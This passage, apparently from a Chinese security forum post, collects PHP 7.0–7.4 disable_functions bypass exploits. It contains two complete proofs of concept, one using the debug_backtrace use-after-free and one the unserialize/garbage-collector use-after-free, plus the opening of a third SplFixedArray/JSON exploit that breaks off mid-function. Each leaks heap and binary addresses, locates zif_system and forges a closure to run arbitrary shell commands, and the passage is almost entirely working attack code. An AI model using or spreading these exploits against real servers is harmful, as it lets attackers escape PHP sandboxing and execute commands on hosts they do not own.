  5. 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so

  6. $open_php:

  7. beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen

  8. [i][i][i][i][b][size=20px]backtrace
  9. [/size][/b][code]<font color="#61aeee"><?php</font>

  10. <font color="#5c6370"><i># PHP 7.0-7.4 disable_functions bypass PoC (*nix only)</i></font>
  11. <font color="#5c6370"><i>#</i></font>
  12. <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=76047" target="_blank">https://bugs.php.net/bug.php?id=76047</a></i></font>
  13. <font color="#5c6370"><i># debug_backtrace() returns a reference to a variable </i></font>
  14. <font color="#5c6370"><i># that has been destroyed, causing a UAF vulnerability.</i></font>
  15. <font color="#5c6370"><i>#</i></font>
  16. <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.4 versions</i></font>
  17. <font color="#5c6370"><i># released as of 30/01/2020.</i></font>
  18. <font color="#5c6370"><i>#</i></font>
  19. <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>

  20. pwn(<font color="#98c379">"uname -a"</font>);

  21. function pwn($cmd) {
  22.     <font color="#c678dd">global</font> $abc, $helper, $backtrace;

  23.     class Vuln {
  24.         <font color="#c678dd">public</font> $a;
  25.         <font color="#c678dd">public</font> function __destruct() {
  26.             <font color="#c678dd">global</font> $backtrace;
  27.             <font color="#c678dd">unset</font>(<font color="#c678dd">$this</font>->a);
  28.             $backtrace = (<font color="#c678dd">new</font> <font color="#c678dd">Exception</font>)->getTrace(); <font color="#5c6370"><i># ;)</i></font>
  29.             <font color="#c678dd">if</font>(!<font color="#c678dd">isset</font>($backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>])) { <font color="#5c6370"><i># PHP >= 7.4</i></font>
  30.                 $backtrace = debug_backtrace();
  31.             }
  32.         }
  33.     }

  34.     class Helper {
  35.         <font color="#c678dd">public</font> $a, $b, $c, $d;
  36.     }

  37.     function str2ptr(&$str, $p = 0, $s = 8) {
  38.         $address = <font color="#d19a66">0</font>;
  39.         <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
  40.             $address <<= <font color="#d19a66">8</font>;
  41.             $address |= ord($str[$p+$j]);
  42.         }
  43.         <font color="#c678dd">return</font> $address;
  44.     }

  45.     function ptr2str($ptr, $m = 8) {
  46.         $out = <font color="#98c379">""</font>;
  47.         <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
  48.             $out .= chr($ptr & <font color="#d19a66">0xff</font>);
  49.             $ptr >>= <font color="#d19a66">8</font>;
  50.         }
  51.         <font color="#c678dd">return</font> $out;
  52.     }

  53.     function write(&$str, $p, $v, $n = 8) {
  54.         $i = <font color="#d19a66">0</font>;
  55.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
  56.             $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
  57.             $v >>= <font color="#d19a66">8</font>;
  58.         }
  59.     }

  60.     function leak($addr, $p = 0, $s = 8) {
  61.         <font color="#c678dd">global</font> $abc, $helper;
  62.         write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
  63.         $leak = strlen($helper->a);
  64.         <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
  65.         <font color="#c678dd">return</font> $leak;
  66.     }

  67.     function parse_elf($base) {
  68.         $e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);

  69.         $e_phoff = leak($base, <font color="#d19a66">0x20</font>);
  70.         $e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
  71.         $e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);

  72.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
  73.             $header = $base + $e_phoff + $i * $e_phentsize;
  74.             $p_type  = leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
  75.             $p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
  76.             $p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
  77.             $p_memsz = leak($header, <font color="#d19a66">0x28</font>);

  78.             <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
  79.                 <font color="#5c6370"><i># handle pie</i></font>
  80.                 $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
  81.                 $data_size = $p_memsz;
  82.             } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
  83.                 $text_size = $p_memsz;
  84.             }
  85.         }

  86.         <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
  87.             <font color="#c678dd">return</font> <font color="#c678dd">false</font>;

  88.         <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
  89.     }

  90.     function get_basic_funcs($base, $elf) {
  91.         <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
  92.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
  93.             $leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
  94.             <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
  95.                 $deref = leak($leak);
  96.                 <font color="#5c6370"><i># 'constant' constant check</i></font>
  97.                 <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
  98.                     <font color="#c678dd">continue</font>;
  99.             } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  100.             $leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
  101.             <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
  102.                 $deref = leak($leak);
  103.                 <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
  104.                 <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
  105.                     <font color="#c678dd">continue</font>;
  106.             } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  107.             <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
  108.         }
  109.     }

  110.     function get_binary_base($binary_leak) {
  111.         $base = <font color="#d19a66">0</font>;
  112.         $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
  113.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
  114.             $addr = $start - <font color="#d19a66">0x1000</font> * $i;
  115.             $leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
  116.             <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
  117.                 <font color="#c678dd">return</font> $addr;
  118.             }
  119.         }
  120.     }

  121.     function get_system($basic_funcs) {
  122.         $addr = $basic_funcs;
  123.         <font color="#c678dd">do</font> {
  124.             $f_entry = leak($addr);
  125.             $f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);

  126.             <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
  127.                 <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
  128.             }
  129.             $addr += <font color="#d19a66">0x20</font>;
  130.         } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
  131.         <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
  132.     }

  133.     function trigger_uaf($arg) {
  134.         <font color="#5c6370"><i># str_shuffle prevents opcache string interning</i></font>
  135.         $arg = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));
  136.         $vuln = <font color="#c678dd">new</font> Vuln();
  137.         $vuln->a = $arg;
  138.     }

  139.     <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
  140.         <font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
  141.     }

  142.     $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if UAF fails</i></font>
  143.     $contiguous = [];
  144.     <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
  145.         $contiguous[] = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));

  146.     trigger_uaf(<font color="#98c379">'x'</font>);
  147.     $abc = $backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>][<font color="#d19a66">0</font>];

  148.     $helper = <font color="#c678dd">new</font> Helper;
  149.     $helper->b = function ($x) { };

  150.     <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
  151.         <font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
  152.     }

  153.     <font color="#5c6370"><i># leaks</i></font>
  154.     $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
  155.     $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
  156.     $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;

  157.     <font color="#5c6370"><i># fake value</i></font>
  158.     write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
  159.     write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);

  160.     <font color="#5c6370"><i># fake reference</i></font>
  161.     write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
  162.     write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);

  163.     $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);

  164.     $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
  165.     <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
  166.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
  167.     }

  168.     <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
  169.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
  170.     }

  171.     <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
  172.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
  173.     }

  174.     <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
  175.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
  176.     }

  177.     <font color="#5c6370"><i># fake closure object</i></font>
  178.     $fake_obj_offset = <font color="#d19a66">0xd0</font>;
  179.     <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
  180.         write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  181.     }

  182.     <font color="#5c6370"><i># pwn</i></font>
  183.     write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
  184.     write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
  185.     write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>

  186.     ($helper->b)($cmd);
  187.     <font color="#c678dd">exit</font>();
  188. }
复制代码


gc
  1. <font color="#61aeee"><?php</font>

  2. <font color="#5c6370"><i># PHP 7.0-7.3 disable_functions bypass PoC (*nix only)</i></font>
  3. <font color="#5c6370"><i>#</i></font>
  4. <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=72530" target="_blank">https://bugs.php.net/bug.php?id=72530</a></i></font>
  5. <font color="#5c6370"><i>#</i></font>
  6. <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.3 versions</i></font>
  7. <font color="#5c6370"><i>#</i></font>
  8. <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>

  9. pwn(<font color="#98c379">"uname -a"</font>);

  10. function pwn($cmd) {
  11.     <font color="#c678dd">global</font> $abc, $helper;

  12.     function str2ptr(&$str, $p = 0, $s = 8) {
  13.         $address = <font color="#d19a66">0</font>;
  14.         <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
  15.             $address <<= <font color="#d19a66">8</font>;
  16.             $address |= ord($str[$p+$j]);
  17.         }
  18.         <font color="#c678dd">return</font> $address;
  19.     }

  20.     function ptr2str($ptr, $m = 8) {
  21.         $out = <font color="#98c379">""</font>;
  22.         <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
  23.             $out .= chr($ptr & <font color="#d19a66">0xff</font>);
  24.             $ptr >>= <font color="#d19a66">8</font>;
  25.         }
  26.         <font color="#c678dd">return</font> $out;
  27.     }

  28.     function write(&$str, $p, $v, $n = 8) {
  29.         $i = <font color="#d19a66">0</font>;
  30.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
  31.             $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
  32.             $v >>= <font color="#d19a66">8</font>;
  33.         }
  34.     }

  35.     function leak($addr, $p = 0, $s = 8) {
  36.         <font color="#c678dd">global</font> $abc, $helper;
  37.         write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
  38.         $leak = strlen($helper->a);
  39.         <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
  40.         <font color="#c678dd">return</font> $leak;
  41.     }

  42.     function parse_elf($base) {
  43.         $e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);

  44.         $e_phoff = leak($base, <font color="#d19a66">0x20</font>);
  45.         $e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
  46.         $e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);

  47.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
  48.             $header = $base + $e_phoff + $i * $e_phentsize;
  49.             $p_type  = leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
  50.             $p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
  51.             $p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
  52.             $p_memsz = leak($header, <font color="#d19a66">0x28</font>);

  53.             <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
  54.                 <font color="#5c6370"><i># handle pie</i></font>
  55.                 $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
  56.                 $data_size = $p_memsz;
  57.             } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
  58.                 $text_size = $p_memsz;
  59.             }
  60.         }

  61.         <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
  62.             <font color="#c678dd">return</font> <font color="#c678dd">false</font>;

  63.         <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
  64.     }

  65.     function get_basic_funcs($base, $elf) {
  66.         <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
  67.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
  68.             $leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
  69.             <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
  70.                 $deref = leak($leak);
  71.                 <font color="#5c6370"><i># 'constant' constant check</i></font>
  72.                 <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
  73.                     <font color="#c678dd">continue</font>;
  74.             } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  75.             $leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
  76.             <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
  77.                 $deref = leak($leak);
  78.                 <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
  79.                 <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
  80.                     <font color="#c678dd">continue</font>;
  81.             } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  82.             <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
  83.         }
  84.     }

  85.     function get_binary_base($binary_leak) {
  86.         $base = <font color="#d19a66">0</font>;
  87.         $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
  88.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
  89.             $addr = $start - <font color="#d19a66">0x1000</font> * $i;
  90.             $leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
  91.             <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
  92.                 <font color="#c678dd">return</font> $addr;
  93.             }
  94.         }
  95.     }

  96.     function get_system($basic_funcs) {
  97.         $addr = $basic_funcs;
  98.         <font color="#c678dd">do</font> {
  99.             $f_entry = leak($addr);
  100.             $f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);

  101.             <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
  102.                 <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
  103.             }
  104.             $addr += <font color="#d19a66">0x20</font>;
  105.         } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
  106.         <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
  107.     }

  108.     class ryat {
  109.         <font color="#c678dd">var</font> $ryat;
  110.         <font color="#c678dd">var</font> $chtg;
  111.         
  112.         function __destruct()
  113.         {
  114.             <font color="#c678dd">$this</font>->chtg = <font color="#c678dd">$this</font>->ryat;
  115.             <font color="#c678dd">$this</font>->ryat = <font color="#d19a66">1</font>;
  116.         }
  117.     }

  118.     class Helper {
  119.         <font color="#c678dd">public</font> $a, $b, $c, $d;
  120.     }

  121.     <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
  122.         <font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
  123.     }

  124.     $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>

  125.     $contiguous = [];
  126.     <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
  127.         $contiguous[] = str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>);

  128.     $poc = <font color="#98c379">'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'</font>;
  129.     $out = unserialize($poc);
  130.     gc_collect_cycles();

  131.     $v = [];
  132.     $v[<font color="#d19a66">0</font>] = ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
  133.     <font color="#c678dd">unset</font>($v);
  134.     $abc = $out[<font color="#d19a66">2</font>][<font color="#d19a66">0</font>];

  135.     $helper = <font color="#c678dd">new</font> Helper;
  136.     $helper->b = function ($x) { };

  137.     <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
  138.         <font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
  139.     }

  140.     <font color="#5c6370"><i># leaks</i></font>
  141.     $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
  142.     $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
  143.     $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;

  144.     <font color="#5c6370"><i># fake value</i></font>
  145.     write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
  146.     write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);

  147.     <font color="#5c6370"><i># fake reference</i></font>
  148.     write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
  149.     write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);

  150.     $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);

  151.     $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
  152.     <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
  153.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
  154.     }

  155.     <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
  156.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
  157.     }

  158.     <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
  159.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
  160.     }

  161.     <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
  162.         <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
  163.     }

  164.     <font color="#5c6370"><i># fake closure object</i></font>
  165.     $fake_obj_offset = <font color="#d19a66">0xd0</font>;
  166.     <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
  167.         write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  168.     }

  169.     <font color="#5c6370"><i># pwn</i></font>
  170.     write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
  171.     write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
  172.     write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>

  173.     ($helper->b)($cmd);

  174.     <font color="#c678dd">exit</font>();
  175. }
复制代码


json
  1. <font color="#61aeee"><?php</font>

  2. $cmd = <font color="#98c379">"id"</font>;

  3. $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>

  4. class MySplFixedArray extends SplFixedArray {
  5.     <font color="#c678dd">public</font> <font color="#c678dd">static</font> $leak;
  6. }

  7. class Z implements JsonSerializable {
  8.     <font color="#c678dd">public</font> function write(&$str, $p, $v, $n = 8) {
  9.       $i = <font color="#d19a66">0</font>;
  10.       <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
  11.         $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
  12.         $v >>= <font color="#d19a66">8</font>;
  13.       }
  14.     }

  15.     <font color="#c678dd">public</font> function str2ptr(&$str, $p = 0, $s = 8) {
  16.         $address = <font color="#d19a66">0</font>;
  17.         <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
  18.             $address <<= <font color="#d19a66">8</font>;
  19.             $address |= ord($str[$p+$j]);
  20.         }
  21.         <font color="#c678dd">return</font> $address;
  22.     }

  23.     <font color="#c678dd">public</font> function ptr2str($ptr, $m = 8) {
  24.         $out = <font color="#98c379">""</font>;
  25.         <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
  26.             $out .= chr($ptr & <font color="#d19a66">0xff</font>);
  27.             $ptr >>= <font color="#d19a66">8</font>;
  28.         }
  29.         <font color="#c678dd">return</font> $out;
  30.     }

  31.     <font color="#5c6370"><i># unable to leak ro segments</i></font>
  32.     <font color="#c678dd">public</font> function leak1($addr) {
  33.         <font color="#c678dd">global</font> $spl1;

  34.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">8</font>, $addr - <font color="#d19a66">0x10</font>);
  35.         <font color="#c678dd">return</font> strlen(get_class($spl1));
  36.     }

  37.     <font color="#5c6370"><i># the real deal</i></font>
  38.     <font color="#c678dd">public</font> function leak2($addr, $p = 0, $s = 8) {
  39.         <font color="#c678dd">global</font> $spl1, $fake_tbl_off;

  40.         <font color="#5c6370"><i># fake reference zval</i></font>
  41.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x10</font>, <font color="#d19a66">0xdeadbeef</font>); <font color="#5c6370"><i># gc_refcounted</i></font>
  42.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x18</font>, $addr + $p - <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
  43.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x20</font>, <font color="#d19a66">6</font>); <font color="#5c6370"><i># type (string)</i></font>

  44.         $leak = strlen($spl1::$leak);
  45.         <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }

  46.         <font color="#c678dd">return</font> $leak;
  47.     }

  48.     <font color="#c678dd">public</font> function parse_elf($base) {
  49.         $e_type = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);

  50.         $e_phoff = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x20</font>);
  51.         $e_phentsize = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
  52.         $e_phnum = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);

  53.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
  54.             $header = $base + $e_phoff + $i * $e_phentsize;
  55.             $p_type  = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
  56.             $p_flags = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
  57.             $p_vaddr = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0x10</font>);
  58.             $p_memsz = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0x28</font>);

  59.             <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
  60.                 <font color="#5c6370"><i># handle pie</i></font>
  61.                 $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
  62.                 $data_size = $p_memsz;
  63.             } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
  64.                 $text_size = $p_memsz;
  65.             }
  66.         }

  67.         <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
  68.             <font color="#c678dd">return</font> <font color="#c678dd">false</font>;

  69.         <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
  70.     }

  71.     <font color="#c678dd">public</font> function get_basic_funcs($base, $elf) {
  72.         <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
  73.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
  74.             $leak = <font color="#c678dd">$this</font>->leak2($data_addr, $i * <font color="#d19a66">8</font>);
  75.             <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
  76.                 $deref = <font color="#c678dd">$this</font>->leak2($leak);
  77.                 <font color="#5c6370"><i># 'constant' constant check</i></font>
  78.                 <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
  79.                     <font color="#c678dd">continue</font>;
  80.             } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  81.             $leak = <font color="#c678dd">$this</font>->leak2($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
  82.             <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
  83.                 $deref = <font color="#c678dd">$this</font>->leak2($leak);
  84.                 <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
  85.                 <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
